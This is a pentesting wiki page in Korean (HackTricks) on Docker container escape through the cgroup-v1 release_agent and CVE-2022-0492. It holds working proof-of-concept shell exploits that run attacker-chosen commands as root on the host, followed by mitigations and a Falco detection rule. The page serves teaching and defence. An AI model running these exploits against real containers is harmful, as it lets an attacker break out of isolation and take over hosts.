Docker release_agent cgroups escape

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°

μžμ„Έν•œ λ‚΄μš©μ€ 원본 λΈ”λ‘œκ·Έ κ²Œμ‹œλ¬Όμ„ μ°Έμ‘°ν•˜μ‹­μ‹œμ˜€. 이것은 μš”μ•½μž…λ‹ˆλ‹€:


Classic PoC (2019)

d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o

The PoCλŠ” cgroup-v1 release_agent κΈ°λŠ₯을 μ•…μš©ν•©λ‹ˆλ‹€: notify_on_release=1인 cgroup의 λ§ˆμ§€λ§‰ μž‘μ—…μ΄ μ’…λ£Œλ˜λ©΄, 컀널(호슀트의 초기 λ„€μž„μŠ€νŽ˜μ΄μŠ€μ—μ„œ)은 μ“°κΈ° κ°€λŠ₯ν•œ 파일 release_agent에 μ €μž₯된 경둜의 ν”„λ‘œκ·Έλž¨μ„ μ‹€ν–‰ν•©λ‹ˆλ‹€. 이 싀행은 ν˜ΈμŠ€νŠΈμ—μ„œ 전체 루트 κΆŒν•œμœΌλ‘œ λ°œμƒν•˜κΈ° λ•Œλ¬Έμ—, νŒŒμΌμ— λŒ€ν•œ μ“°κΈ° μ ‘κ·Ό κΆŒν•œμ„ μ–»λŠ” κ²ƒλ§ŒμœΌλ‘œλ„ μ»¨ν…Œμ΄λ„ˆ νƒˆμΆœμ΄ κ°€λŠ₯ν•©λ‹ˆλ‹€.

μ§§κ³  읽기 μ‰¬μš΄ 단계별 μ„€λͺ…

  1. μƒˆ cgroup μ€€λΉ„ν•˜κΈ°
mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp   # λ˜λŠ” –o memory
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
  1. release_agentλ₯Ό κ³΅κ²©μžκ°€ μ œμ–΄ν•˜λŠ” 슀크립트둜 μ„€μ •ν•˜κΈ°
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
  1. νŽ˜μ΄λ‘œλ“œ λ“œλ‘­ν•˜κΈ°
cat <<'EOF' > /cmd
#!/bin/sh
ps aux > "$host_path/output"
EOF
chmod +x /cmd
  1. μ•Œλ¦Ό νŠΈλ¦¬κ±°ν•˜κΈ°
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs"   # μžμ‹ μ„ μΆ”κ°€ν•˜κ³  μ¦‰μ‹œ μ’…λ£Œ
cat /output                                  # 이제 호슀트 ν”„λ‘œμ„ΈμŠ€κ°€ 포함됨

2022 컀널 취약점 – CVE-2022-0492

2022λ…„ 2μ›” Yiqi Sunκ³Ό Kevin Wang은 컀널이 cgroup-v1μ—μ„œ release_agent에 μ“Έ λ•Œ κΆŒν•œμ„ κ²€μ¦ν•˜μ§€ μ•ŠλŠ”λ‹€λŠ” 것을 λ°œκ²¬ν–ˆμŠ΅λ‹ˆλ‹€ (ν•¨μˆ˜ cgroup_release_agent_write).

μ‹€μ œλ‘œ cgroup 계측을 λ§ˆμš΄νŠΈν•  수 μžˆλŠ” λͺ¨λ“  ν”„λ‘œμ„ΈμŠ€(예: unshare -UrCλ₯Ό 톡해)λŠ” 초기 μ‚¬μš©μž λ„€μž„μŠ€νŽ˜μ΄μŠ€μ—μ„œ CAP_SYS_ADMIN 없이 μž„μ˜μ˜ 경둜λ₯Ό release_agent에 μ“Έ 수 μžˆμ—ˆμŠ΅λ‹ˆλ‹€. κΈ°λ³Έ κ΅¬μ„±μ˜ 루트 μ‹€ν–‰ Docker/Kubernetes μ»¨ν…Œμ΄λ„ˆμ—μ„œλŠ” λ‹€μŒμ„ ν—ˆμš©ν–ˆμŠ΅λ‹ˆλ‹€:

  • ν˜ΈμŠ€νŠΈμ—μ„œ 루트둜의 κΆŒν•œ μƒμŠΉ; β†—
  • μ»¨ν…Œμ΄λ„ˆκ°€ νŠΉκΆŒμ„ κ°€μ§€μ§€ μ•Šκ³ λ„ μ»¨ν…Œμ΄λ„ˆ νƒˆμΆœ.

이 결함은 CVE-2022-0492 (CVSS 7.8 / λ†’μŒ)둜 μ§€μ •λ˜μ—ˆμœΌλ©°, λ‹€μŒ 컀널 릴리슀(및 이후 λͺ¨λ“  릴리슀)μ—μ„œ μˆ˜μ •λ˜μ—ˆμŠ΅λ‹ˆλ‹€:

  • 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299.

패치 컀밋: 1e85af15da28 "cgroup: Fix permission checking".

μ»¨ν…Œμ΄λ„ˆ λ‚΄ μ΅œμ†Œν•œμ˜ μ΅μŠ€ν”Œλ‘œμž‡

# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
apk add --no-cache util-linux  # provides unshare
unshare -UrCm sh -c '
mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
echo 1 > /tmp/c/notify_on_release;
echo /proc/self/exe > /tmp/c/release_agent;     # will exec /bin/busybox from host
(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
while true; do sleep 1; done
'

컀널이 μ·¨μ•½ν•œ 경우, 호슀트의 busybox λ°”μ΄λ„ˆλ¦¬κ°€ 전체 루트 κΆŒν•œμœΌλ‘œ μ‹€ν–‰λ©λ‹ˆλ‹€.

κ°•ν™” 및 μ™„ν™”

  • 컀널 μ—…λ°μ΄νŠΈ (β‰₯ 버전 이상). νŒ¨μΉ˜λŠ” 이제 release_agent에 μ“°κΈ° μœ„ν•΄ 초기 μ‚¬μš©μž λ„€μž„μŠ€νŽ˜μ΄μŠ€μ—μ„œ CAP_SYS_ADMIN을 μš”κ΅¬ν•©λ‹ˆλ‹€.
  • cgroup-v2 μ„ ν˜Έ – 톡합 계측 release_agent κΈ°λŠ₯을 μ™„μ „νžˆ μ œκ±°ν•˜μ—¬, 이 클래슀의 νƒˆμΆœμ„ μ—†μ•΄μŠ΅λ‹ˆλ‹€.
  • λΆˆν•„μš”ν•œ μ‚¬μš©μž λ„€μž„μŠ€νŽ˜μ΄μŠ€ λΉ„ν™œμ„±ν™”: ν•„μš”ν•˜μ§€ μ•Šμ€ ν˜ΈμŠ€νŠΈμ—μ„œ:
sysctl -w kernel.unprivileged_userns_clone=0
  • 의무적 μ ‘κ·Ό μ œμ–΄: /sys/fs/cgroup/**/release_agentμ—μ„œ mount, openat을 κ±°λΆ€ν•˜κ±°λ‚˜ CAP_SYS_ADMIN을 μ œκ±°ν•˜λŠ” AppArmor/SELinux 정책은 μ·¨μ•½ν•œ μ»€λ„μ—μ„œλ„ 이 κΈ°μˆ μ„ μ€‘λ‹¨μ‹œν‚΅λ‹ˆλ‹€.
  • 읽기 μ „μš© λ°”μΈλ“œ 마슀크 λͺ¨λ“  release_agent 파일 (Palo Alto 슀크립트 μ˜ˆμ‹œ):
for f in $(find /sys/fs/cgroup -name release_agent); do
mount --bind -o ro /dev/null "$f"
done

λŸ°νƒ€μž„μ—μ„œμ˜ 탐지

FalcoλŠ” v0.32λΆ€ν„° λ‚΄μž₯ κ·œμΉ™μ„ μ œκ³΅ν•©λ‹ˆλ‹€:

- rule: Detect release_agent File Container Escapes
desc: Detect an attempt to exploit a container escape using release_agent
condition: open_write and container and fd.name endswith release_agent and
(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
thread.cap_effective contains CAP_SYS_ADMIN
output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
priority: CRITICAL
tags: [container, privilege_escalation]

κ·œμΉ™μ€ μ—¬μ „νžˆ CAP_SYS_ADMIN을 κ°€μ§„ μ»¨ν…Œμ΄λ„ˆ λ‚΄λΆ€μ˜ ν”„λ‘œμ„ΈμŠ€μ—μ„œ */release_agent에 λŒ€ν•œ λͺ¨λ“  μ“°κΈ° μ‹œλ„μ— λŒ€ν•΄ νŠΈλ¦¬κ±°λ©λ‹ˆλ‹€.

References

Tip

AWS ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°:HackTricks Training AWS Red Team Expert (ARTE)
GCP ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training GCP Red Team Expert (GRTE) Azure ν•΄ν‚Ή 배우기 및 μ—°μŠ΅ν•˜κΈ°: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks μ§€μ›ν•˜κΈ°